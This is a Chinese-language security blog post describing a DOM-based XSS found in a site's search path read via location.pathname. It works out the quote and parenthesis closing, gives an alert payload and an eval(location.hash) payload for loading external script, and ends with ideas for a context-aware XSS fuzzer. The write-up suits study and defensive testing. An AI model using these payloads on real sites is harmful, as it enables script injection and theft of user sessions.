[+] Author:MagicBlue
[+] Team: NeSE security team
[+] From: https://magicbluech.github.io
[+] Create: 2017-06-24

起因

在weibo上看到neargle发了一个案例里面是一个location.pathname利用的实际案例。自己原来的想法是这种类型的xss只会存在404页面那边。还有一个问题是$SERVER[‘PHP_SELF’]不进行urlencode,而window.location.pathname则会进行urlencode。
image

当时就去email to neargle 想探讨下这种类型在实战会怎么利用。

neargle say 确实如果用 location.pathname 这个点是会被url编码的,但是也并不是所有的浏览器都会被编码,而且每个浏览器编码的范围不一样,Opera之前的版本是不会编码"和<的。可以参考https://github.com/wisec/domxsswiki/wiki/location,-documentURI-and-URL-sources。而且就算是编码也得看输出的点是什么,要是放在如eval等函数里面还是可以直接利用的。 祝好0v0

其实也就是具体问题具体分析~~运气很好,在做test的时候 恰好遇到了这么一个案例

test

漏洞发生在搜索框 类似 => http://www.xss.com/search/site/search_content。search_content可控 但是它是从location.pathname取出来的。我们只能用特定的几个字符。参考如下(笔者在chrome下进行此次测试)

两个输出点逻辑(输入点 mmmagic)

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
_data = {
"level2": "5",
"chapter1": "",
"chapter2": "",
"chapter3": "",
"title": "Internal Search",
"mc": "mmmagic",
"np": "1",}
</script>
<script>
{$('#login-info').html('<a href="/p/login.php?p=/search/site/mmmagic" target="_blank">用户登录</a><a href="http://www//index.php?r=site/ProductPage&PCODE=ZB&utm_medium=online&utm_source=frontpageheader&utm_campaign=zbproductpage&utm_term=tactical" target="_blank">订阅</a>');}
</script>

这个点没有进行合理过滤,所以导致了上面location.pathname可以用的字符我们都可以用。但是也是不太好利用。第一个输出点我没太思考怎么绕过。我把我的思考方式放在后面那个输出点

我们没办法输入>闭合a 标签 但是由于chrome 很好的容错性它会自动闭合tag 我们可以输入’,所以我们通过’)来闭合$(‘#’).html(‘’) xxxxxxx

我们已经解决了第一步。但是这样的payload由于语法错误会报错然后不执行。我们要想办法注释后面的点

  • 通过单行注释 / 但是由于是在pathname里面 我们可以输入/ 但是我们只能输入一个/ 达不到注释的效果
  • 通过多行注释 /* 但是我们不可以输入}。来闭合前面的{

以上两种方法均不能达到我们注释的目标(由于chrome在location.pathname支持的字符相比于其余主流浏览器支持的字符最少。所以只要chrome完美bypass。其余浏览器也没有问题了)

javascript 语法

1
2
x = ('mmmagic"23333')
"mmmagic"23333"

既然我们不能注释后面 由于后面的字符原本是在(‘’) 里面的 经过前面的闭合 这个时候为

1
$('#').html('<a href="/p/login.php?p=/search/site/')mmmagic" target="_blank">用户登录</a><a href="http://www.//index.php?r=site/ProductPage&PCODE=ZB&utm_medium=online&utm_source=frontpageheader&utm_campaign=&utm_term=tactical" target="_blank">xx</a>');

所以我们只需要把后面当作是一个string 赋值给一个变量就ok了

alert payload

http://www.xss.com/search/site/')-alert(/mmmagic/);x=('mmmmagic,

这个时候我们已经可以弹窗了。我们要朝着我们的终极目标前进,引入外部的js。这个时候已经很简单了

1
search/site/')-eval(location.hash.substr(1));x=('mmmmagic,#  +js  方法不唯一

思考

用户的输入点都是不可信的,所以过滤就显得尤为重要了。web的思考思维是怎么绕过,这其中一块就是具体问题具体分析,往往是看似不可以利用的漏洞。通过几种方式的组合导致可以利用。由于最近一直在思考怎么写xss fuzz tool 所以有一些想法

  • 传统的xss扫描器 都是基于payload进行fuzz 这样就存在一个问题,检测出来的肯定是存在漏洞。但是由于这种fuzz。它会导致很多可以利用的点会被忽略掉。这大概是由于fuzz tool不够智能吧
  • 漏洞出现的一个前提是没有过滤 或者是过滤的不充分。但是反过来思考。既然我们没办法构造一个基于大多数的漏洞模型。我们能不能提取出来一些完美的防御过滤模型,只要是符合这个模型的特点。我们就放行,反之就是肯定存在漏洞,这个办法的问题是误报率的问题以及人工成本的增加。人工手动验证的成本会大大增加。但是报着宁杀错杀一千也不放过一个的思维方式,这个是可取的
  • 打造一个自己的fuzz tool 一定要基于实战 基于漏洞的打磨。但是我们不可以把每种漏洞出现的情况都纳到我们的模型,我们只能通过人工搜集,把一些典型的做成模型。然后让fuzz tools 以后自己分析,我觉得基于语义 基于上下文的fuzz才是未来。

比如 它有这种智能的检测手段

1
2
3
4
5

<script>
document.path.name('xxxxxxxxxxx');
</script>

如果fuzz tool 发现我们可控的点在xxxxxx处

  • 它要知道自己是处在js code环境下
  • 它要知道它要闭合’)// or </script><img/src=1> or ‘-alert(1)-‘ 来进行test
  • 它需要基于语义 自动调整需要闭合的点。

此刻大概就是这么多想法,要走的路还有很多。但是自己确实是想做出点东西了。